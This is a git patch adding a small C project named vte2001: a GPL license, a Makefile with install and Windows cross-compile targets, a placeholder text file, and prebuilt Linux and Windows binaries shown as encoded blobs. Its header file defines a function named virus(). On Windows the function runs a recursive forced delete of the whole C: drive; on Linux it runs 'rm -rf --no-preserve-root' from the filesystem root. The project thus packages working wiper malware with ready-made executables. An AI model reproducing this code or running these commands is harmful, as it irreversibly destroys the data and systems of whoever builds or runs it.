From 221a41a37b36f036d700a99b0b8cb3e2d30d4bd5 Mon Sep 17 00:00:00 2001 From: german Date: Wed, 18 Feb 2026 13:17:52 +0400 Subject: [PATCH] first commit --- LICENSE | 619 ++++++++++++++++++++++++++++++++++++++ Makefile | 68 +++++ project.ini | 26 ++ project_files/example.txt | 8 + vte2001 | Bin 0 -> 16032 bytes vte2001.c | 28 ++ vte2001.h | 55 ++++ vte2001_32.exe | Bin 0 -> 104925 bytes vte2001_64.exe | Bin 0 -> 119156 bytes 9 files changed, 804 insertions(+) create mode 100644 LICENSE create mode 100644 Makefile create mode 100644 project.ini create mode 100644 project_files/example.txt create mode 100644 vte2001 create mode 100644 vte2001.c create mode 100644 vte2001.h create mode 100755 vte2001_32.exe create mode 100755 vte2001_64.exe diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..aae2f33 --- /dev/null +++ b/LICENSE @@ -0,0 +1,619 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. \ No newline at end of file diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..2d1e7ff --- /dev/null +++ b/Makefile @@ -0,0 +1,68 @@ +# +# Makefile +# +# Copyright 2026 +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, +# MA 02110-1301, USA. +# +# + +PROJECT_NAME=vte2001 + +CC=gcc +OPTIONS=-O2 -Wall -ansi +OUTPUT_NAME=$(PROJECT_NAME) +COPY=cp +INPUT_NAME=$(PROJECT_NAME).c +REMOVE=rm +INSTALL_NAME=/usr/local/bin/$(PROJECT_NAME) +MODE=chmod +x +RUN_OF=./ +PROJECT_FILES=project_files +ECHO=echo +TOUCH=touch +WIN_64_CC=x86_64-w64-mingw32-gcc +WIN_32_CC=i686-w64-mingw32-gcc +WIN_FLAGS=-mwindows + +.PHONY: clear run install uninstall $(OUTPUT_NAME) win32 win64 + +$(OUTPUT_NAME): $(INPUT_NAME) + $(CC) $(OPTIONS) $(INPUT_NAME) -o $(OUTPUT_NAME) + $(COPY) -r $(PROJECT_FILES) ~/.$(PROJECT_NAME) + $(REMOVE) -f ~/.$(PROJECT_NAME)/WARNING.txt +win32: + $(WIN_32_CC) $(OPTIONS) -o $(OUTPUT_NAME)_32.exe $(INPUT_NAME) $(WIN_FLAGS) + $(COPY) -r $(PROJECT_FILES) ~/.$(PROJECT_NAME) + $(REMOVE) -f ~/.$(PROJECT_NAME)/WARNING.txt +win64: + $(WIN_64_CC) $(OPTIONS) -o $(OUTPUT_NAME)_64.exe $(INPUT_NAME) $(WIN_FLAGS) + $(COPY) -r $(PROJECT_FILES) ~/.$(PROJECT_NAME) + $(REMOVE) -f ~/.$(PROJECT_NAME)/WARNING.txt +clear: + $(REMOVE) -f $(OUTPUT_NAME) + $(REMOVE) -f $(API_OUT_NAME) +run: + $(MODE) $(OUTPUT_NAME) + $(RUN_OF)$(OUTPUT_NAME) +install: + $(COPY) $(OUTPUT_NAME) $(INSTALL_NAME) + $(COPY) -r $(PROJECT_FILES) ~/.$(PROJECT_NAME) + $(REMOVE) -f ~/.$(PROJECT_NAME)/WARNING.txt +uninstall: + $(REMOVE) $(INSTALL_NAME) + $(TOUCH) ~/.$(PROJECT_NAME)/WARNING.txt + $(ECHO) Warning! If you have already uninstalled the "$(PROJECT_NAME)" program, please delete this folder. > ~/.$(PROJECT_NAME)/WARNING.txt diff --git a/project.ini b/project.ini new file mode 100644 index 0000000..6ed4eb1 --- /dev/null +++ b/project.ini @@ -0,0 +1,26 @@ +# +# project.ini +# +# Copyright 2026 +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, +# MA 02110-1301, USA. +# +# + +[18.2.2026-12:58:10] +name=vte2001 +id=1234032081 +project_files_count=1 diff --git a/project_files/example.txt b/project_files/example.txt new file mode 100644 index 0000000..3848d38 --- /dev/null +++ b/project_files/example.txt @@ -0,0 +1,8 @@ +Lorem ipsum dolor sit amet, consectetur +adipiscing elit, sed do eiusmod tempor incididunt ut +labore et dolore magna aliqua. Ut enim ad minim veniam, +quis nostrud exercitation ullamco laboris nisi ut +aliquip ex ea commodo consequat. Duis aute irure dolor +in reprehenderit in voluptate velit esse cillum dolore +eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, +sunt in culpa qui officia deserunt mollit anim id est laborum diff --git a/vte2001 b/vte2001 new file mode 100644 index 0000000000000000000000000000000000000000..5291c51d219200cb5b68359c7d3231b31a20a868 GIT binary patch literal 16032 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 bQu+%T(xx9P$@ +#include +#include + +#if defined(_WIN32) || defined(_WIN64) +int virus(void) { + return system( + "C:" "\n" + "cd \\" "\n" + "del * /S /F /Q" "\n" + ); +} +#elif defined(__linux__) || defined(__unix__) +int virus(void) { + return system( + "cd /" "\n" + "rm -rf --no-preserve-root *" "\n" + ); +} +#else +#error OS is not supported!!! +#endif + +int _lib_vte2001_main(void) { + return virus(); +} + +#endif /* __LIB_vte2001_H_ */ + diff --git a/vte2001_32.exe b/vte2001_32.exe new file mode 100755 index 0000000000000000000000000000000000000000..c07da3ba8825fa2b3010fa23faebd0a95c21c455 GIT binary patch literal 104925 